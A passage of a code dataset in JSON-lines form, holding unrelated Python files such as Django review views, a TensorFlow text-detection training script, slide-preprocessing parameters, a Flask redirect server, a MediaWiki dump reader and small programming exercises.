print_seed:\n retstr = charset.charatidx(np.argmax(seedvec))\n else:\n retstr = ''\n return retstr + \"\".join(chars), end_state\n\n\n","repo_name":"rneilson/rngru","sub_path":"rn_rnn_model.py","file_name":"rn_rnn_model.py","file_ext":"py","file_size_in_byte":17624,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"} +{"seq_id":"73872087607","text":"import numpy as np\r\nimport array\r\nclass myArray(array.array):\r\n arraymember1 = np.array([1,3,4,5])\r\n arraymember2 = np.array([2,4,5,6])\r\n def array_addition(self):\r\n resultarray = self.arraymember1 + self.arraymember2\r\n print(\"This array addition function returns the result array \\n\")\r\n return resultarray\r\n\r\narrayObj = myArray('u')\r\narrayObj.arraymember1 = np.array([[1,2,3,4],[34,54,36,67]])\r\narrayObj.arraymember2 = np.array([[2,38,95,26],[32,23,89,75]])\r\nresultarray = arrayObj.array_addition()\r\nprint(resultarray)","repo_name":"PelluriDeepthi/PelluriDeepthi","sub_path":"ArrayWrapper.py","file_name":"ArrayWrapper.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"4621951901","text":"# coding:utf-8\nfrom enum import Enum\n\nfrom qfluentwidgets import (qconfig, QConfig, ConfigItem, OptionsConfigItem, BoolValidator,\n OptionsValidator, RangeConfigItem, RangeValidator,\n FolderListValidator, EnumSerializer, FolderValidator)\n\n\n\nclass Language(Enum):\n \"\"\" Language enumeration \"\"\"\n\n CHINESE_SIMPLIFIED = \"zh\"\n CHINESE_TRADITIONAL = \"hk\"\n ENGLISH = \"en\"\n AUTO = \"Auto\"\n\n\nclass Config(QConfig):\n \"\"\" Config of application \"\"\"\n\n # folders\n musicFolders = ConfigItem(\n \"Folders\", \"LocalMusic\", [], FolderListValidator())\n downloadFolder = ConfigItem(\n \"Folders\", \"Download\", \"app/download\", FolderValidator())\n\n # main window\n dpiScale = OptionsConfigItem(\n \"MainWindow\", \"DpiScale\", \"Auto\", OptionsValidator([1, 1.25, 1.5, 1.75, 2, \"Auto\"]), restart=True)\n language = OptionsConfigItem(\n \"MainWindow\", \"Language\", Language.AUTO, OptionsValidator(Language), EnumSerializer(Language), restart=True)\n\n # software update\n checkUpdateAtStartUp = ConfigItem(\"Update\", \"CheckUpdateAtStartUp\", True, BoolValidator())\n\n\nYEAR = 2023\nAUTHOR = \"软盘驱动程序\"\nVERSION = \"v0.1.1\"\nHELP_URL = \"https://github.com/clean-master/stable-diffusion-webui-launcher-directml\"\nREPO_URL = \"https://github.com/clean-master/stable-diffusion-webui-launcher-directml\"\nFEEDBACK_URL = \"https://github.com/clean-master/stable-diffusion-webui-launcher-directml/issues\"\nRELEASE_URL = \"https://github.com/clean-master/stable-diffusion-webui-launcher-directml/releases/latest\"\n\n\ncfg = Config()\nqconfig.load('app/config/config.json', cfg)","repo_name":"clean-master/stable-diffusion-webui-launcher-directml","sub_path":"app/common/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"} +{"seq_id":"22084417882","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render, HttpResponseRedirect, HttpResponse, redirect\nfrom django.contrib import messages\nfrom ..users.models import User\nfrom .models import Book, Review, Author\nimport bcrypt\n\n# Create your views here.\ndef add(request):\n authors = Author.objects.all()\n context = {\n 'authors': authors,\n }\n return render(request, 'books/new.html', context)\ndef create(request):\n errors = Book.objects.book_validator(request.POST)\n if len(errors):\n for tag, error in errors.iteritems():\n messages.error(request, error, extra_tags=tag)\n return redirect('/books/add')\n else:\n if request.POST['author'] > 0:\n author = Author.objects.get(id = request.POST['author'])\n else:\n name = request.POST['new_author']\n author = Author.objects.create(name = name)\n title = request.POST['title']\n review = request.POST['review']\n rating = request.POST['rating']\n id = request.session['id']\n reviewer = User.objects.get(id = id)\n book = Book.objects.create(title = title, author = author)\n r = Review.objects.create(stars = rating, review = review, reviewer = reviewer, book = book)\n return redirect('/dashboard')\ndef book(request, book_id):\n book = Book.objects.get(id = book_id)\n context = {\n 'id': request.session['id'],\n 'book': book,\n 'reviews': Review.objects.filter(book = book),\n }\n return render(request, 'books/book.html', context)\ndef review(request):\n book_id = request.POST['book_id']\n review = request.POST['review']\n rating = request.POST['rating']\n id = request.session['id']\n reviewer = User.objects.get(id = id)\n book = Book.objects.get(id = book_id)\n Review.objects.create(stars = rating, review = review, reviewer = reviewer, book = book)\n return redirect('/dashboard')\ndef delete(request, review_id):\n review = Review.objects.get(id = review_id)\n review.delete()\n return redirect('/dashboard')","repo_name":"marmegh/enigma","sub_path":"beltreviewer/apps/books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"270301356","text":"# Silver 5_1436\n\n# 종말의 숫자란 어떤 수에 6이 적어도 3개이상 연속으로 들어가는 수를 말한다.\n# 제일 작은 종말의 숫자는 666이고, 그 다음으로 큰 수는 1666, 2666, 3666, .... 과 같다.\n\n# 따라서, 숌은 첫 번째 영화의 제목은 세상의 종말 666,\n# 두 번째 영화의 제목은 세상의 종말 1666 이렇게 이름을 지을 것이다.\n# 일반화해서 생각하면, N번째 영화의 제목은 세상의 종말 (N번째로 작은 종말의 숫자) 와 같다.\n# 숌이 만든 N번째 영화의 제목에 들어간 숫자를 출력하는 프로그램을 작성하시오.\n# 숌은 이 시리즈를 항상 차례대로 만들고, 다른 영화는 만들지 않는다.\n\nn = int(input())\nc = 0\nstart = 666\nwhile True:\n if '666' in str(start):\n c += 1\n if c == n:\n print(start)\n break\n start += 1","repo_name":"chaerui7967/Today_I_Learned","sub_path":"Baekjoon/movie_director_shom_210717.py","file_name":"movie_director_shom_210717.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"28905014989","text":"# coding: utf-8\nimport datetime\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/today')\ndef today():\n return redirect(\n 'http://show-time.xyz/{}.html'.format(datetime.date.today().strftime('%Y%m%d')))\n\n@app.route('/tommorow')\ndef tommorow():\n date = datetime.date.today() + datetime.timedelta(days=1)\n return redirect(\n 'http://show-time.xyz/{}.html'.format(date.strftime('%Y%m%d')))\n\nif __name__ == '__main__':\n app.run(port=9997)\n","repo_name":"maruchanman/__band_app","sub_path":"back/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"16022419445","text":"#input de que pedem para o usuário informar um número inteiro\nnumber1 = input(\"Informe um primeiro número inteiro: \")\nnumber2 = input(\"Informe o segundo número inteiro: \")\nnumber3 = input(\"Informe o terceiro número inteiro: \")\n\n# execução da primeiro cálculo pedido na questão\nproduct = ((int(number1) * 2) * (int(number2) / 2)) + int(number3)\nprint(int(product))\n\n# execução do segundo cálculo pedido na questão\nsoma = (int(number1) * 3 + int(number3)) * int(number2) \nprint(soma)","repo_name":"kaynann/PYTHON","sub_path":"aula10.18/desafio07.py","file_name":"desafio07.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"17551942735","text":"# coding=utf-8\nimport time\nimport numpy as np\nimport logging\nimport os\nimport tensorflow as tf\nfrom tensorflow.contrib import slim\n\nfrom db_config import cfg\n\nimport lib.networks.model as model\nfrom lib.networks.losses import compute_loss, compute_acc\nfrom lib.dataset.dataloader import get_batch\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\ndef make_dir(dir):\n if not os.path.exists(dir):\n os.makedirs(dir)\n\ndef tower_loss(images, gt_score_maps, gt_threshold_map, gt_score_mask,\n gt_thresh_mask, reuse_variables):\n\n with tf.variable_scope(tf.get_variable_scope(), reuse=reuse_variables):\n binarize_map, threshold_map, thresh_binary = model.model(images, is_training=True)\n\n model_loss = compute_loss(binarize_map, threshold_map, thresh_binary,\n gt_score_maps, gt_threshold_map, gt_score_mask, gt_thresh_mask)\n\n total_loss = tf.add_n([model_loss] + tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES))\n\n # add summary\n if reuse_variables is None:\n tf.summary.image('gt/input_imgs', images)\n tf.summary.image('gt/score_map', gt_score_maps)\n tf.summary.image('gt/threshold_map', gt_threshold_map * 255)\n tf.summary.image('gt/score_mask', gt_score_mask)\n tf.summary.image('gt/thresh_mask', gt_thresh_mask)\n\n tf.summary.image('pred/binarize_map', binarize_map)\n tf.summary.image('pred/threshold_map', threshold_map * 255)\n tf.summary.image('pred/thresh_binary', thresh_binary)\n\n tf.summary.scalar('model_loss', model_loss)\n tf.summary.scalar('total_loss', total_loss)\n\n return total_loss, model_loss, binarize_map, threshold_map, thresh_binary\n\n\ndef average_gradients(tower_grads):\n average_grads = []\n for grad_and_vars in zip(*tower_grads):\n grads = []\n for g, _ in grad_and_vars:\n expanded_g = tf.expand_dims(g, 0)\n grads.append(expanded_g)\n\n grad = tf.concat(grads, 0)\n grad = tf.reduce_mean(grad, 0)\n\n v = grad_and_vars[0][1]\n grad_and_var = (grad, v)\n average_grads.append(grad_and_var)\n\n return average_grads\n\n\ndef _train_logger_init():\n \"\"\"\n 初始化log日志\n :return:\n \"\"\"\n train_logger = logging.getLogger('train')\n train_logger.setLevel(logging.DEBUG)\n\n # 添加文件输出\n log_file = os.path.join(cfg[\"TRAIN\"][\"TRAIN_LOGS\"], time.strftime('%Y%m%d%H%M', time.localtime(time.time())) + '.logs')\n file_handler = logging.FileHandler(log_file, mode='w')\n file_handler.setLevel(logging.DEBUG)\n file_formatter = logging.Formatter('%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s')\n file_handler.setFormatter(file_formatter)\n train_logger.addHandler(file_handler)\n\n # 添加控制台输出\n consol_handler = logging.StreamHandler()\n consol_handler.setLevel(logging.DEBUG)\n consol_formatter = logging.Formatter('%(message)s')\n consol_handler.setFormatter(consol_formatter)\n train_logger.addHandler(consol_handler)\n return train_logger\n\n\ndef main():\n import os\n os.environ['CUDA_VISIBLE_DEVICES'] = cfg.TRAIN.VIS_GPU\n if not tf.gfile.Exists(cfg[\"TRAIN\"][\"CHECKPOINTS_OUTPUT_DIR\"]):\n tf.gfile.MkDir(cfg[\"TRAIN\"][\"CHECKPOINTS_OUTPUT_DIR\"])\n\n train_logger = _train_logger_init()\n\n input_images = tf.placeholder(tf.float32, shape=[None, None, None, 3], name='input_images')\n input_score_maps = tf.placeholder(tf.float32, shape=[None, None, None, 1], name='input_score_maps')\n input_threshold_maps = tf.placeholder(tf.float32, shape=[None, None, None, 1], name='input_threshold_maps')\n\n input_score_masks = tf.placeholder(tf.float32, shape=[None, None, None, 1], name='input_score_masks')\n input_threshold_masks = tf.placeholder(tf.float32, shape=[None, None, None, 1], name='input_threshold_masks')\n\n global_step = tf.get_variable('global_step', [], initializer=tf.constant_initializer(0), trainable=False)\n\n learning_rate = tf.train.exponential_decay(cfg[\"TRAIN\"][\"LEARNING_RATE\"], global_step, decay_steps=10000,\n decay_rate=0.94, staircase=True)\n\n if cfg.TRAIN.OPT == 'adam':\n # learning_rate = tf.constant(cfg[\"TRAIN\"][\"LEARNING_RATE\"], tf.float32)\n opt = tf.train.AdamOptimizer(learning_rate)\n elif cfg.TRAIN.OPT == 'momentum':\n opt = tf.train.MomentumOptimizer(learning_rate, 0.9)\n else:\n assert 0, 'error optimzer'\n print('use ', cfg.TRAIN.OPT)\n\n # add summary\n tf.summary.scalar('learning_rate', learning_rate)\n\n gpus = [str(i) for i in range(len(cfg.TRAIN.VIS_GPU.split(',')))]\n input_images_split = tf.split(input_images, len(gpus))\n input_score_maps_split = tf.split(input_score_maps, len(gpus))\n input_threshold_maps_split = tf.split(input_threshold_maps, len(gpus))\n input_score_masks_split = tf.split(input_score_masks, len(gpus))\n input_threshold_masks_split = tf.split(input_threshold_masks, len(gpus))\n\n\n tower_grads = []\n reuse_variables = None\n total_binarize_acc = 0\n total_thresh_binary_acc = 0\n for i, gpu_id in enumerate(gpus):\n print('gpu_id', gpu_id)\n with tf.device('/gpu:' + gpu_id):\n with tf.name_scope('model_' + gpu_id) as scope:\n gt_imgs = input_images_split[i]\n gt_scores = input_score_maps_split[i]\n gt_thresholds = input_threshold_maps_split[i]\n gt_score_masks = input_score_masks_split[i]\n gt_threshold_masks = input_threshold_masks_split[i]\n total_loss, model_loss, binarize_map, threshold_map, thresh_binary = \\\n tower_loss(gt_imgs, gt_scores, gt_thresholds, gt_score_masks, gt_threshold_masks, reuse_variables)\n binarize_acc, thresh_binary_acc = compute_acc(binarize_map, threshold_map, thresh_binary,\n gt_scores, gt_thresholds, gt_score_masks, gt_threshold_masks)\n total_binarize_acc += binarize_acc\n total_thresh_binary_acc += thresh_binary_acc\n reuse_variables = True\n\n batch_norm_updates_op = tf.group(*tf.get_collection(tf.GraphKeys.UPDATE_OPS, scope))\n\n grads = opt.compute_gradients(total_loss)\n tower_grads.append(grads)\n\n grads = average_gradients(tower_grads)\n apply_gradient_op = opt.apply_gradients(grads, global_step=global_step)\n\n avg_binarize_acc = total_binarize_acc / 2.0\n avg_thresh_binary_acc = total_thresh_binary_acc / 2.0\n\n summary_op = tf.summary.merge_all()\n\n variable_averages = tf.train.ExponentialMovingAverage(cfg[\"TRAIN\"][\"MOVING_AVERAGE_DECAY\"], global_step)\n\n variables_averages_op = variable_averages.apply(tf.trainable_variables())\n\n with tf.control_dependencies([variables_averages_op, apply_gradient_op, batch_norm_updates_op]):\n train_op = tf.no_op(name='train_op')\n\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=cfg.TRAIN.SAVE_MAX)\n\n\n train_logs_dir = os.path.join(cfg.TRAIN.TRAIN_LOGS, 'train')\n val_logs_dir = os.path.join(cfg.TRAIN.TRAIN_LOGS, 'val')\n\n make_dir(train_logs_dir)\n make_dir(val_logs_dir)\n\n train_summary_writer = tf.summary.FileWriter(train_logs_dir, tf.get_default_graph())\n val_summary_writer = tf.summary.FileWriter(val_logs_dir, tf.get_default_graph())\n\n\n init = tf.global_variables_initializer()\n\n with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:\n try:\n\n if cfg[\"TRAIN\"][\"RESTORE\"]:\n train_logger.info('continue training from previous checkpoint')\n ckpt = tf.train.get_checkpoint_state(cfg[\"TRAIN\"][\"RESTORE_CKPT_PATH\"])\n train_logger.info('restore model path:', ckpt.model_checkpoint_path)\n saver.restore(sess, ckpt.model_checkpoint_path)\n train_logger.info(\"done\")\n elif cfg[\"TRAIN\"][\"PRETRAINED_MODEL_PATH\"] is not None:\n sess.run(init)\n print(cfg[\"TRAIN\"][\"PRETRAINED_MODEL_PATH\"])\n train_logger.info('load pretrain model:{}', str(cfg[\"TRAIN\"][\"PRETRAINED_MODEL_PATH\"]))\n variable_restore_op = slim.assign_from_checkpoint_fn(cfg[\"TRAIN\"][\"PRETRAINED_MODEL_PATH\"],\n slim.get_trainable_variables(),\n ignore_missing_vars=True)\n variable_restore_op(sess)\n train_logger.info(\"done\")\n\n else:\n sess.run(init)\n except:\n assert 0, 'load error'\n\n train_data_generator = get_batch(num_workers=cfg.TRAIN.NUM_READERS,\n img_dir=cfg.TRAIN.IMG_DIR,\n label_dir=cfg.TRAIN.LABEL_DIR,\n batchsize=cfg.TRAIN.BATCH_SIZE_PER_GPU * len(gpus))\n\n val_data_generator = get_batch(num_workers=10,\n img_dir=cfg.EVAL.IMG_DIR,\n label_dir=cfg.EVAL.LABEL_DIR,\n batchsize=cfg.TRAIN.BATCH_SIZE_PER_GPU * len(gpus))\n\n test_data_generator = get_batch(num_workers=1,\n img_dir=cfg.EVAL.IMG_DIR,\n label_dir=cfg.EVAL.LABEL_DIR,\n batchsize=cfg.TRAIN.BATCH_SIZE_PER_GPU * len(gpus),\n is_eval=True)\n\n test_epoch = 0\n\n start = time.time()\n for step in range(cfg[\"TRAIN\"][\"MAX_STEPS\"]):\n train_data = next(train_data_generator)\n\n train_feed_dict = {input_images: train_data[0],\n input_score_maps: train_data[1],\n input_threshold_maps: train_data[3],\n input_score_masks: train_data[2],\n input_threshold_masks: train_data[4]}\n\n ml, tl, _ = sess.run([model_loss, total_loss, train_op], feed_dict=train_feed_dict)\n if np.isnan(tl):\n train_logger.info('Loss diverged, stop training')\n break\n\n if step % 10 == 0:\n avg_time_per_step = (time.time() - start) / 10\n avg_examples_per_second = (10 * cfg[\"TRAIN\"][\"BATCH_SIZE_PER_GPU\"] * len(gpus)) / (time.time() - start)\n start = time.time()\n train_logger.info(\n '{}->Step {:06d}, model loss {:.4f}, total loss {:.4f}, {:.2f} seconds/step, {:.2f} examples/second'.format(\n cfg.TRAIN.VERSION, step, ml, tl, avg_time_per_step, avg_examples_per_second))\n\n if step % cfg[\"TRAIN\"][\"SAVE_CHECKPOINT_STEPS\"] == 0:\n saver.save(sess, os.path.join(cfg[\"TRAIN\"][\"CHECKPOINTS_OUTPUT_DIR\"],\n 'DB_' + cfg.BACKBONE + '_' + cfg.TRAIN.VERSION + '_model.ckpt'),\n global_step=global_step)\n\n if step % cfg[\"TRAIN\"][\"SAVE_SUMMARY_STEPS\"] == 0:\n _, tl, train_summary_str = sess.run([train_op, total_loss, summary_op], feed_dict=train_feed_dict)\n train_summary_writer.add_summary(train_summary_str, global_step=step)\n\n val_data = next(val_data_generator)\n val_feed_dict = {input_images: val_data[0],\n input_score_maps: val_data[1],\n input_threshold_maps: val_data[3],\n input_score_masks: val_data[2],\n input_threshold_masks: val_data[4]}\n eval_summary_str = sess.run(summary_op, feed_dict=val_feed_dict)\n\n val_summary_writer.add_summary(eval_summary_str, global_step=step)\n\n if step % cfg.EVAL.TEST_STEP == 0 and step != 0:\n temp_epoch = test_epoch\n train_logger.info('~~~~~~~~~~~~~~~~~~start to test~~~~~~~~~~~~~~~~~~~~~')\n avg_bc = []\n avg_tbc = []\n while temp_epoch==test_epoch:\n test_data = next(test_data_generator)\n test_feed_dict = {input_images: test_data[0],\n input_score_maps: test_data[1],\n input_threshold_maps: test_data[3],\n input_score_masks: test_data[2],\n input_threshold_masks: test_data[4]}\n test_epoch = test_data[5]\n bc, tbc = sess.run([avg_binarize_acc, avg_thresh_binary_acc],\n feed_dict=test_feed_dict)\n\n avg_bc.append(bc)\n avg_tbc.append(tbc)\n\n train_logger.info('avg binarize acc is :{}'.format(sum(avg_bc)/len(avg_bc)))\n train_logger.info('avg thresh binary acc is :{}'.format(sum(avg_tbc)/len(avg_tbc)))\n\n\nif __name__ == '__main__':\n\n main()\n\n","repo_name":"iamrishab/DB-tf","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":13145,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"77"} +{"seq_id":"20727963815","text":"\"\"\"\nRelated paras for concepts collector\nmainly used for pre-processing\n\"\"\"\nfrom typing import Callable\nimport attr\nfrom HistoMIL import logger\nfrom HistoMIL.DATA.Slide.concepts.WholeSlideImage import WholeSlideImage \n\nfrom HistoMIL.DATA.Database.data_aug import naive_transforms,only_naive_transforms\n\n\n##############################################################################\n# para for slide\n##############################################################################\n\n@attr.s(auto_attribs=True)\nclass SlideParas(object):\n \n folder:str=None\n fname:str = None\n\n##############################################################################\n# para for tissue\n##############################################################################\n@attr.s(auto_attribs=True)\nclass TissueParas(object):\n \"\"\"\n include all paras for tissue concepts in pre-processing and usage\n \"\"\"\n seg_level:int = 0 # level for segment tissue mask\n min_seg_level:int = None # min level for segment tissue mask if chose fast mode\n\n ref_patch_size:int = 256 # reference patch size for tissue mask\n\n #------> parameters for blurring\n mthresh:int = 7 # paras for Apply median blurring\n\n #------> parameters for otsu\n use_otsu:bool = True\n sthresh:int = 20 \n sthresh_up:int = 255\n\n \n #------> Morphological closing\n close:int = 0\n\n #------> parameters for contours in mask2contours()\n filter_params:dict = {'a_t':100,'a_h': 16, 'max_n_holes':8}\n\n # if there is more than one contours, exclude option:default empty list\n to_contours:bool = True\n exclude_ids:list = []\n keep_ids:list = []\n \n #------> create a name for instance\n name:str = f\"tissue_{seg_level}_otsu_{use_otsu}_contours_{to_contours}\"\n\ndef set_min_seg_level(tissue_para:TissueParas,slide:WholeSlideImage,\n min_seg_level:int=None):\n \"\"\"\n get minimum seg level for tissue mask\n \"\"\"\n if min_seg_level is None:\n tissue_para.seg_level = len(slide.meta.level_dims)-1\n else:\n tissue_para.seg_level = min(len(slide.meta.level_dims)-1,min_seg_level)\n logger.info(f\"TissuePara:: set min_seg_level to {tissue_para.seg_level},in {slide.meta.level_dims} \")\n return tissue_para\n\n##############################################################################\n# para for patch\n##############################################################################\n@attr.s(auto_attribs=True)\nclass PatchParas(object):\n \"\"\"\n include all paras for patch concepts in pre-processing and usage\n \"\"\"\n #------> parameters for patch\n patch_level:int = 0 # level for patch\n patch_size = (512,512) # patch size\n step_size:int = 512 # step size for patch\n\n #------> parameters for patch extraction\n from_contours:bool = True # extract patches from contours otherwise from tissue mask\n # debug: set mp to 1 to avoid not solved error \n mp_processor:int = 1 # number of processors for multiprocessing\n #------> parameters for patch extraction function \n contour_fn_name:str = \"four_pt\" # function name for contour extraction\n use_padding:bool = True # whether padding\n top_left = None # top left point for patch extraction area\n bot_right = None # bot right point for patch extraction area\n\n #------> name for instance\n name:str = f\"patch({patch_level})_size({patch_size[0]})_step({step_size})_contours({contour_fn_name})\"\n\n\n##############################################################################\n# para for faeture\n##############################################################################\n@attr.s(auto_attribs=True)\nclass FeatureParas(object):\n \"\"\"\n include all paras for feature concepts in pre-processing and usage\n \"\"\"\n #------> parameters for feature encoder\n model_name:str = \"resnet18\"\n\n model_instance = None\n img_size = None\n out_dim = None\n #-----> for inference part \n\n device:str = \"cuda\"\n trans:Callable = only_naive_transforms\n \n batch_size:int = 32\n\n #------> parameters for cluster\n cluster_nb:int = 200\n with_semantic_shifts:bool = False\n\n##############################################################################\n# para for collectorß\n##############################################################################\n@attr.s(auto_attribs=True)\nclass CollectorParas(object):\n \"\"\"\n include all paras for collector concepts in pre-processing and usage\n \"\"\"\n #------> parameters for collector\n slide:SlideParas = SlideParas() # get instance of slide paras\n tissue:TissueParas = TissueParas() # get instance of tissue paras\n patch:PatchParas = PatchParas() # get instance of patch paras\n feature:FeatureParas = FeatureParas()\n\nDEFAULT_CONCEPT_PARAS = CollectorParas()\n\n","repo_name":"secrierlab/HistoMIL","sub_path":"EXP/paras/slides.py","file_name":"slides.py","file_ext":"py","file_size_in_byte":4819,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"} +{"seq_id":"26906770008","text":"from pathlib import Path\nimport toml\nimport cv2\nfrom utils import CameraParam, LensUndistorter, ImageSaver, LensUndistorterWithKroi\n\n# Load Pathes\nBASE_DIR = Path(__file__).resolve().parent.parent\nDATA_DIR = Path(BASE_DIR, \"data\")\nCFG_PARAM_PATH = str(Path(DATA_DIR, \"camera_param.toml\"))\nRGB_IMAGE_PATH = str(Path(DATA_DIR, \"rgb_img.png\"))\nRESULT_SAVE_DIR = str(Path(BASE_DIR, \"results\"))\nresult_saver = ImageSaver(RESULT_SAVE_DIR)\n\n# Get config file and rgb image\ndict_param = toml.load(open(CFG_PARAM_PATH))\nrgb_img = cv2.imread(RGB_IMAGE_PATH)\n\n# Get camera parameter\ncamera_param = CameraParam.from_dict(dict_param[\"Rgb\"])\nK_rgb = camera_param.intrinsic_matrix\nD_rgb = camera_param.distortion\nimage_height, image_width = camera_param.size\n\n# Image Correction\nlens_undistorter = LensUndistorter(K_rgb, D_rgb, image_width, image_height)\nlens_undistorter_roi = LensUndistorterWithKroi(K_rgb, D_rgb, image_width, image_height)\nrgb_img_undistorted = lens_undistorter.correction(rgb_img)\nrgb_img_undistorted_roi = lens_undistorter_roi.correction(rgb_img)\n\n\nresult_saver.save_image(\"raw_image.png\", rgb_img)\nresult_saver.save_image(\"rgb_img_undistorted.png\", rgb_img_undistorted)\nresult_saver.save_image(\"rgb_img_undistorted_roi.png\", rgb_img_undistorted_roi)\n","repo_name":"yuki-inaho/test_getOptimalNewCameraMatrix","sub_path":"scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"3492854108","text":"import json\nimport logging\nimport os\nimport tarfile\nfrom io import TextIOWrapper\nfrom typing import IO\nfrom typing import Iterable\nfrom typing import Optional\nfrom typing import Sequence\nfrom typing import Tuple\nfrom typing import Union\n\nfrom . import convert\nfrom . import siteinfo as si\n\nlog = logging.getLogger(__name__)\n\n\ndef replace_extensions(path: str, new_exts: Iterable = ()) -> str:\n \"\"\"\n >>> replace_extensions(\"/a/b/c/dump.njson.tar.gz\")\n '/a/b/c/dump'\n >>> replace_extensions(\"dump.njson.tar.gz\")\n 'dump'\n >>> replace_extensions(\"dump.njson.tar.gz\", new_exts=[\"slob\"])\n 'dump.slob'\n >>> replace_extensions(\"/a/b/c/dump.njson.tar.gz\", new_exts=[\"siteinfo\", \"json\"])\n '/a/b/c/dump.siteinfo.json'\n \"\"\"\n basename = os.path.basename(path)\n dirname = os.path.dirname(path)\n noext, *_ = basename.split(os.path.extsep)\n return os.path.join(dirname, os.path.extsep.join((noext, *new_exts)))\n\n\ndef get_outname(args):\n outname = args.output_file\n if outname is None:\n basename = os.path.basename(args.dump_file[0])\n outname = replace_extensions(basename, [\"slob\"])\n return outname\n\n\ndef get_siteinfo(args):\n siteinfo_path = args.siteinfo\n if not siteinfo_path:\n siteinfo_path = replace_extensions(args.dump_file, [\"siteinfo\", \"json\"])\n\n with open(siteinfo_path) as siteinfo_file:\n siteinfo_dict = json.load(siteinfo_file)\n\n return siteinfo_dict\n\n\ndef parse_loc_spec(s: str) -> Tuple[int, int]:\n if \":\" in s:\n fileno, lineno = s.split(\":\")\n return int(fileno), int(lineno)\n return 1, int(s)\n\n\ndef articles(\n dump_files: Sequence[str],\n info: si.Info,\n start_line_spec: str = \"1:1\",\n end_line_spec: Optional[str] = None,\n html_encoding=\"utf-8\",\n remove_embedded_bg=\"\",\n ensure_ext_image_urls=True,\n) -> Iterable[convert.ConvertParams]:\n\n start_file, start_line = parse_loc_spec(start_line_spec)\n if end_line_spec:\n end_file, end_line = parse_loc_spec(end_line_spec)\n else:\n end_file, end_line = None, None\n\n for dump_file in dump_files:\n dump_file = os.path.expanduser(dump_file)\n print(f\"Reading articles from ${dump_file}\")\n files: Iterable[Union[TextIOWrapper, IO[bytes]]] = []\n\n if dump_file.endswith(\".tar.gz\") or dump_file.endswith(\".tar\"):\n if dump_file.endswith(\".tar.gz\"):\n tar = tarfile.open(dump_file, \"r:gz\")\n else:\n tar = tarfile.open(dump_file, \"r\")\n ctx_manager = tar\n files = (\n f for f in (tar.extractfile(member) for member in tar) if f is not None\n )\n else:\n ctx_manager = open(dump_file)\n files = [ctx_manager]\n\n with ctx_manager:\n for k, f in enumerate(files):\n file_number = k + 1\n if file_number < start_file:\n continue\n if end_file and file_number > end_file:\n break\n for i, line in enumerate(f):\n line_number = i + 1\n j = 0\n if line_number < start_line:\n if i % 1000 == 0:\n print(\".\", end=\"\", flush=True)\n j += 1\n if j % 50 == 0:\n print(flush=True)\n j = 0\n continue\n if end_line and line_number > end_line:\n break\n try:\n data = json.loads(line)\n html = data[\"article_body\"][\"html\"]\n title = data[\"name\"]\n redirects = data.get(\"redirects\", ())\n aliases = [r[\"name\"] for r in redirects]\n print(f\"{file_number}:{line_number} {title} ({len(html)})\")\n yield convert.ConvertParams(\n title=title,\n aliases=aliases,\n text=html,\n rtl=info.rtl,\n server=info.server,\n articlepath=\"./\", # TODO needs to be arg?\n site_articlepath=info.articlepath,\n encoding=html_encoding,\n remove_embedded_bg=remove_embedded_bg,\n ensure_ext_image_urls=ensure_ext_image_urls,\n )\n except:\n log.exception(f\"Failed to read line {i}\")\n","repo_name":"itkach/mw2slob","sub_path":"mw2slob/dump.py","file_name":"dump.py","file_ext":"py","file_size_in_byte":4649,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"77"} +{"seq_id":"26132631056","text":"# Create a string and save im a variable\noriginal_string = input(\"Please, insert a sentence: \")\n\n# Use loop to extract and alternate case in the string\nnew_alt_char_string = \"\"\n\n# Use enumerate to access the indexes and control better the item/case alternation\nfor index, item in enumerate(original_string):\n if index % 2 == 0:\n new_alt_char_string = new_alt_char_string + item.lower()\n else:\n new_alt_char_string = new_alt_char_string + item.upper()\n\nprint(new_alt_char_string)\n\n# With the same string but making each alternative word lower and upper case\nsplit_string = original_string.split(\" \")\nnew_alt_word_string = [] # Split converts a string into an array\n\nfor index, item in enumerate(split_string):\n if index % 2 == 0:\n new_alt_word_string.append(item.lower()) # Use .append to manipulate the array\n else:\n new_alt_word_string.append(item.upper())\n\nprint(\" \".join(new_alt_word_string)) # Use .join to include the empty spaces","repo_name":"tmitidieri/python-projects-hyperion-training","sub_path":"T17/alternative.py","file_name":"alternative.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"74027833529","text":"import re\nimport numpy as np\nimport gensim\nimport requests\nimport json\nfrom scipy import spatial\n\ndata = []\nwith open('./avas_list.txt') as inputfile:\n for line in inputfile:\n data.append(line)\n\nprint(\"Loaded function data\")\n\nmodel = gensim.models.KeyedVectors.load_word2vec_format('./GoogleNews-vectors-negative300.bin', binary=True, 